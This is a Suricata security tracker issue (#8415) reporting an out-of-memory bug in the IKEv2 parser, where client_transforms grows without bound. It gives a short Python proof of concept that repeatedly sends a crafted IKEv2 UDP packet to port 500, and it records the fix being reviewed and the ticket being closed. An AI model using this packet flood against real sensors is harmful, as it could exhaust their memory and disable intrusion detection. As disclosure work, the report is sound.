Actions
Security #8415
closed
PA
PA
ikev2: OOM due to unbounded client_transforms
Security #8415:
ikev2: OOM due to unbounded client_transforms
Description
The line state.ikev2_container.client_transforms.push(transforms); in ikev2.rs just keeps increasing without bounds
POC is simply just sending the same UDP packet over and over again even if there is no server
import socket
import binascii
import time
server_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
server_socket.bind(('', 3268))
ike = binascii.unhexlify("61d3693ce12af52800000000000000002820220800000000000000f02200001c312fd2e1cea72d0f7f3d1ccac96bb0c4c8d70f39dba193e42100008800020000b0c808b9480d4d4ae92c0e8f115d9338d4d0bb8361cfd19562ee5e2444b7f67137e472b2aa9b4455bafc4abadd89daa86e0583ffd2abb28933faa3fabf3ee84430c05afeb9652fc9befd377dd9d10001cd656eb617ba3ba39d0346f91a063bba6d186a3f20188ca0e8e4b79e3e912f13d309a8d655501592f742e408fda88ddc000000300000002c010100040300000c0100000c800e01000300000802000005030000080300000c0000000804000002")
for i in range(1024):
a = server_socket.sendto(ike, ("127.0.0.1", 500))
time.sleep(0.1)
sock.close()
CRITICAL like https://redmine.openinfosecfoundation.org/issues/8182 : OOM from UDP protocol
OT Updated by OISF Ticketbot 4 months ago
- Subtask #8416 added
OT Updated by OISF Ticketbot 4 months ago
- Label deleted (
Needs backport to 8.0)
OT Updated by OISF Ticketbot 4 months ago
- Subtask #8417 added
OT Updated by OISF Ticketbot 4 months ago
- Label deleted (
Needs backport to 7.0)
PA Updated by Philippe Antoine 4 months ago
- Private changed from No to Yes
PA Updated by Philippe Antoine 3 months ago
- Assignee changed from OISF Dev to Philippe Antoine
Oh client_transforms is unused, its sole purpose is to consume RAM
PA Updated by Philippe Antoine 3 months ago
- Status changed from New to In Review
Gitlab MR
PA Updated by Philippe Antoine 2 months ago
- Status changed from In Review to Resolved
SB Updated by Shivani Bhardwaj 2 months ago
- Subject changed from ikev2: bound the number of client_transforms to ikev2: OOM due to unbounded client_transforms
PA Updated by Philippe Antoine about 2 months ago
- Status changed from Resolved to Closed
Actions